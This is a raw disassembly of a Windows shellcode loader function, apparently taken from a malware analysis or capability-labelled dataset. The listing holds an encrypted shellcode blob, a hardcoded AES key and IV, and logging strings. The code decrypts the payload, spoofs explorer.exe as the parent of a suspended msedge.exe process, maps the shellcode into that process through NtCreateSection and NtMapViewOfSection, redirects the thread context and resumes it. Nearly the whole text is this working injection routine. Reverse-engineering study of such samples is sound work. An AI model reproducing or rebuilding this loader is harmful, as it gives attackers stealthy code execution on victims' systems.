Function at 0x1400b1240
Capabilities:
Create process on windows
Create process suspended
Resume thread
Set registry value
Spoof parent pid

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x528
movabs rdi, 0x6561736973696874
call fcn.14000b0e0
mov rbx, qword [0x1400bdaf0]
lea rdx, str.Starting_decryption...
lea rsi, [rsp + 0x270]
lea rbp, [rsp + 0x180]
lea r12, [rsp + 0xd0]
lea r13, [rsp + 0xf0]
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
lea rdx, str.Starting_XOR_decryption_for_shellcode...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rdx, qword [str.17fOuWR5X0gO2CY8cHXts4D5UJDt8EDBneWH4Z0rdoAjjXMzVSfEsOP6hUn8140Vcz4snTJZJmdl7qurkPjlos54Xy36JJgF01SoV5hjKBBg8LwFSXc74OLrSpxkUEJVsJQT4FrXoCBBGf023_GmzQdrfvz9dWJXninUsuXQbvt9BF1GoFNCIdBcY9lDM67Bh7wvo8jfLoERIcTYlNYXLTKQWkAnzVFAHh1Vmigc8SKSwDSZCmzEnmepg9RuAAx41Ep8emdx_54ZheTtcvMehW33C83q8jeneTPGV0fPgQLltER4XqUzwrWiS7dIAdTEnyuioNyjInOazOoxnq1XdI4uzDyeEBYrbdrxhHykyAGt7chrxv0WobE0plgtZyK2gmDouzQoMeZSuI3ggMSTDylbbTVUgRJelBZp9yIU260DHQ6mQgsRVmCkpZ1RrYZvRtwHDlRvU0iShI1w0Y4VaJmVqzWVohlFJfG9rf5yd7Iy_4iZD1H2wm9WIrKLYqFEK4crtOUHx2SQdxRZ7lFDY37g9z_HZxEPptjkYLbDurQpwaVrFQZuQQKcK0qifi7KuZy5NKihPUxtq9VaKnis_GUCYsoOS0Ex7jUF8PDfwn3wA8Ji8Ork0seHIeHu2II6MLm6yhOy5gqA4BXJcrsM4jCaQ6jBO_M]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9d, 0xf
mov rcx, rsi
lea r8, str.thisisaeskey1234
mov rdx, rax
call fcn.140016390
lea rdx, str.XOR_decryption_for_shellcode_completed.
mov rcx, rbx
call fcn.1400ae2c0
lea rsi, [rsp + 0x130]
mov rcx, rax
call fcn.1400acdf0
lea rdx, str.Starting_XOR_decryption_for_IV...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rdx, qword [str.6cUif4YgWli9Itm_rOhgag]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9d, 0xf
mov rcx, rsi
lea r8, str.thisisaeskey1234
mov rdx, rax
call fcn.140016390
lea rdx, str.XOR_decryption_for_IV_completed.
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
lea rdx, str.Converting_IV_to_wide_char_string...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rsi, qword [str.6cUif4YgWli9Itm_rOhgag]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rsp + 0x150]
mov rdx, rsi
lea r8, [rax + 1]
call sub.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs
lea rdx, str.Decoding_base64_encrypted_shellcode...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rdx, qword [str.17fOuWR5X0gO2CY8cHXts4D5UJDt8EDBneWH4Z0rdoAjjXMzVSfEsOP6hUn8140Vcz4snTJZJmdl7qurkPjlos54Xy36JJgF01SoV5hjKBBg8LwFSXc74OLrSpxkUEJVsJQT4FrXoCBBGf023_GmzQdrfvz9dWJXninUsuXQbvt9BF1GoFNCIdBcY9lDM67Bh7wvo8jfLoERIcTYlNYXLTKQWkAnzVFAHh1Vmigc8SKSwDSZCmzEnmepg9RuAAx41Ep8emdx_54ZheTtcvMehW33C83q8jeneTPGV0fPgQLltER4XqUzwrWiS7dIAdTEnyuioNyjInOazOoxnq1XdI4uzDyeEBYrbdrxhHykyAGt7chrxv0WobE0plgtZyK2gmDouzQoMeZSuI3ggMSTDylbbTVUgRJelBZp9yIU260DHQ6mQgsRVmCkpZ1RrYZvRtwHDlRvU0iShI1w0Y4VaJmVqzWVohlFJfG9rf5yd7Iy_4iZD1H2wm9WIrKLYqFEK4crtOUHx2SQdxRZ7lFDY37g9z_HZxEPptjkYLbDurQpwaVrFQZuQQKcK0qifi7KuZy5NKihPUxtq9VaKnis_GUCYsoOS0Ex7jUF8PDfwn3wA8Ji8Ork0seHIeHu2II6MLm6yhOy5gqA4BXJcrsM4jCaQ6jBO_M]
mov rcx, rbp
call fcn.14009e260
mov rdx, rbp
mov rcx, r12
call fcn.140015ef0
mov rcx, rbp
call fcn.14009ae90
lea rdx, str.Base64_decoding_for_shellcode_completed.
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
lea rdx, str.Decoding_base64_IV...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rdx, qword [str.6cUif4YgWli9Itm_rOhgag]
mov rcx, rbp
call fcn.14009e260
mov rdx, rbp
mov rcx, r13
call fcn.140015ef0
mov rcx, rbp
call fcn.14009ae90
lea rdx, str.Base64_decoding_for_IV_completed.
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
lea rdx, str.Decryption_completed._Starting_AES_decryption...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov ecx, 0x10
call fcn.1400b08e0
mov r9, r13
mov r8, rbp
mov qword [rax], rdi
lea rdx, [rax + 0x10]
movq xmm0, rax
movabs rdi, 0x3433323179656b73
mov qword [rax + 8], rdi
lea rax, [rsp + 0x110]
movq xmm1, rdx
mov rcx, rax
punpcklqdq xmm0, xmm1
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x190], rdx
mov rdx, r12
movaps xmmword [rsp + 0x180], xmm0
call fcn.140015790
mov rcx, rbp
call fcn.140099f50
mov r15, qword [rsp + 0x118]
mov r14, qword [rsp + 0x110]
cmp r15, r14
je 0x1400b1b59
lea rdx, str.AES_decryption_completed._Finding_explorer.exe_PID...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
call fcn.140016140
test eax, eax
mov esi, eax
je 0x1400b1b3c
lea rdx, str.Explorer.exe_PID_found:
mov rcx, rbx
call fcn.1400ae2c0
mov edx, esi
mov rcx, rax
call fcn.140070ce0
lea rdx, str.._Opening_explorer.exe_process...
mov rcx, rax
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
xor edx, edx
mov r8d, esi
mov ecx, pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rdx, str.Failed_to_open_explorer.exe_process._Error:
test rax, rax
mov qword [rsp + 0x98], rax
je 0x1400b1ae0
mov ecx, 0x70
xor esi, esi
call fcn.1400b08e0
mov ecx, 0x1c
mov rdx, rax
mov rdi, rax
mov eax, esi
rep stosd dword [rdi], eax
mov qword [rsp + 0x70], rdx
xor edi, edi
mov rcx, rbx
mov dword [rdx], 0x70
lea rdx, str.Initializing_process_attributes...
mov qword [rsp + 0xa0], rdi
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
xor r8d, r8d
mov edx, 1
xor ecx, ecx
lea r9, [rsp + 0xa0]
mov rdi, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov qword [rsp + 0x60], r9
call rdi
mov rcx, qword [rsp + 0xa0]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdx, qword [rsp + 0x70]
xor r8d, r8d
mov r9, qword [rsp + 0x60]
mov rcx, rax
mov qword [rsp + 0x68], rax
mov qword [rdx + 0x68], rax
mov edx, 1
call rdi
xor eax, eax
mov r8d, 0x20000
xor edx, edx
lea r9, [rsp + 0x98]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
mov ecx, 0x68
call fcn.1400b08e0
mov ecx, 0x1a
mov rdx, rax
mov rdi, rax
mov eax, esi
rep stosd dword [rdi], eax
mov dword [rdx], 0x68
mov ecx, 0x18
mov rdi, rbp
mov dword [rdx + 0x3c], 1
lea rsi, str._C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe____no_start_up_window___win_session_start__prefetch:5
mov qword [rsp + 0x78], rdx
call fcn.1400b08e0
mov ecx, 0x3a
xor edx, edx
pxor xmm0, xmm0
rep movsd dword [rdi], dword [rsi]
movups xmmword [rax], xmm0
mov rcx, rbx
mov qword [rax + 0x10], rdx
lea rdx, str.Creating_process...
mov qword [rsp + 0x60], rax
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rax, qword [rsp + 0x60]
xor ecx, ecx
xor r8d, r8d
mov rdi, qword [rsp + 0x78]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
mov rdx, rbp
mov dword [rsp + 0x20], r8d
lea rcx, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
xor r8d, r8d
mov dword [rsp + 0x28], 0x8000004
mov qword [rsp + 0x48], rax
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplication
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rdx, str.Failed_to_create_process._Error:
test eax, eax
je 0x1400b1ae0
lea rdx, str.Process_created._Loading_ntdll.dll...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
lea rcx, str.ntdll.dll
call fcn.140016270
lea rdx, str.Failed_to_load_ntdll.dll._Error:
test rax, rax
mov rdi, rax
je 0x1400b1ae0
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call fcn.1400161e0
lea rdx, str.NtCreateSection
mov rcx, rdi
mov rsi, rax
call fcn.1400161e0
lea rdx, str.NtMapViewOfSection
mov rcx, rdi
mov rbp, rax
call fcn.1400161e0
lea rdx, str.NtUnmapViewOfSection
mov rcx, rdi
mov qword [rsp + 0x80], rax
call fcn.1400161e0
test rsi, rsi
mov qword [rsp + 0x88], rax
je 0x1400b1ad9
test rbp, rbp
je 0x1400b1ad9
cmp qword [rsp + 0x80], 0
je 0x1400b1ad9
test rax, rax
je 0x1400b1ad9
lea rdx, str.Functions_loaded._Creating_section...
mov rcx, rbx
mov rsi, r15
call fcn.1400ae2c0
sub rsi, r14
mov rcx, rax
call fcn.1400acdf0
xor r11d, r11d
xor r8d, r8d
mov edx, 0xf001f
mov qword [rsp + 0xb0], rsi
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x30], r11
lea r9, [rsp + 0xb0]
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
call rbp
lea rdx, str.Failed_to_create_section._NTSTATUS:
test eax, eax
mov ebp, eax
js 0x1400b1ba7
lea rdx, str.Section_created._Mapping_section_to_local_process...
mov rcx, rbx
call fcn.1400ae2c0
lea rbp, [rsp + 0xc0]
mov rcx, rax
call fcn.1400acdf0
xor r8d, r8d
mov r15, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xb8], r8
mov qword [rsp + 0xc0], r8
call r15
xor r10d, r10d
xor r9d, r9d
mov qword [rsp + 0x30], rbp
mov rdx, rax
mov dword [rsp + 0x40], r9d
mov rcx, qword [rsp + 0xa8]
xor r9d, r9d
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x48], 0x40
lea r8, [rsp + 0xb8]
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], r10
call rax
test eax, eax
js 0x1400b1bca
lea rdx, str.Section_mapped_to_local_process._Copying_shellcode...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rcx, qword [rsp + 0xb8]
mov r8, rsi
mov rdx, r14
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rdx, str.Shellcode_copied._Mapping_section_to_remote_process...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
xor eax, eax
xor ecx, ecx
xor edx, edx
mov qword [rsp + 0x28], rcx
xor r9d, r9d
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x60]
lea r8, [rsp + 0xc8]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0xa8]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rbp
mov rdx, qword [rax]
mov rax, qword [rsp + 0x80]
call rax
test eax, eax
mov esi, eax
js 0x1400b1b76
lea rdx, str.Section_mapped_to_remote_process._Getting_thread_context...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov ecx, 0x4d0
call fcn.1400b08e0
xor edx, edx
mov r8d, 0x4d0
mov rcx, rax
mov rsi, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rax, qword [rsp + 0x60]
mov rdx, rsi
mov dword [rsi + 0x30], 0x100002
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, str.Failed_to_get_thread_context._Error:
test eax, eax
je 0x1400b1ae0
lea rdx, str.Thread_context_retrieved._Updating_RCX_register...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rax, qword [rsp + 0xc8]
mov rdx, rsi
mov qword [rsi + 0x80], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
lea rdx, str.Failed_to_set_thread_context._Error:
test eax, eax
je 0x1400b1ae0
lea rdx, str.RCX_updated._Resuming_thread...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
add eax, 1
je 0x1400b1bfa
lea rdx, str.Thread_resumed._Unmapping_section_from_local_process...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rbp, qword [rsp + 0xb8]
call r15
mov rcx, rax
mov rax, qword [rsp + 0x88]
mov rdx, rbp
call rax
test eax, eax
mov ebp, eax
js 0x1400b1ba0
lea rdx, str.Section_unmapped_from_local_process._Cleaning_up_handles_and_allocated_memory...
mov rcx, rbx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
mov rcx, qword [rsp + 0xa8]
mov rbp, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x98]
call rbp
mov rdi, qword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rcx, qword [rsp + 0x70]
mov edx, 0x70
call fcn.1400b08a0
mov rcx, qword [rsp + 0x78]
mov edx, 0x68
call fcn.1400b08a0
mov rcx, qword [rsp + 0x60]
mov edx, 0x18
call fcn.1400b08a0
mov edx, 0x4d0
mov rcx, rsi
call fcn.1400b08a0
lea rdx, str.Execution_completed_successfully.
mov rcx, rbx
xor ebx, ebx
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
jmp 0x1400b1b0c
lea rdx, str.Failed_to_get_function_addresses._Error:
mov rcx, qword [0x1400bdad0]
call fcn.1400ae2c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
mov edx, eax
call fcn.140070ce0
mov rcx, rax
call fcn.1400acdf0
mov ebx, 1
mov rcx, qword [rsp + 0x58]
call fcn.140099f50
mov rcx, r13
call fcn.140099f50
mov rcx, r12
call fcn.140099f50
mov eax, ebx
add rsp, 0x528
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [0x1400bdad0]
lea rdx, str.Failed_to_find_explorer.exe_PID.
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
jmp 0x1400b1b07
mov rcx, qword [0x1400bdad0]
lea rdx, str.Failed_to_decrypt_shellcode.
call fcn.1400ae2c0
mov rcx, rax
call fcn.1400acdf0
jmp 0x1400b1b07
mov rcx, qword [0x1400bdad0]
lea rdx, str.Failed_to_map_section_to_remote_process._NTSTATUS:
call fcn.1400ae2c0
mov edx, esi
mov rcx, rax
call fcn.140070ac0
mov rcx, rax
call fcn.1400acdf0
jmp 0x1400b1b07
lea rdx, str.Failed_to_unmap_section_from_local_process._NTSTATUS:
mov rcx, qword [0x1400bdad0]
call fcn.1400ae2c0
mov edx, ebp
mov rcx, rax
call fcn.140070ac0
mov rcx, rax
call fcn.1400acdf0
jmp 0x1400b1b07
mov rcx, qword [0x1400bdad0]
lea rdx, str.Failed_to_map_section_to_local_process._NTSTATUS:
mov dword [rsp + 0x60], eax
call fcn.1400ae2c0
mov edx, dword [rsp + 0x60]
mov rcx, rax
call fcn.140070ac0
mov rcx, rax
call fcn.1400acdf0
jmp 0x1400b1b07
lea rdx, str.Failed_to_resume_thread._Error:
jmp 0x1400b1ae0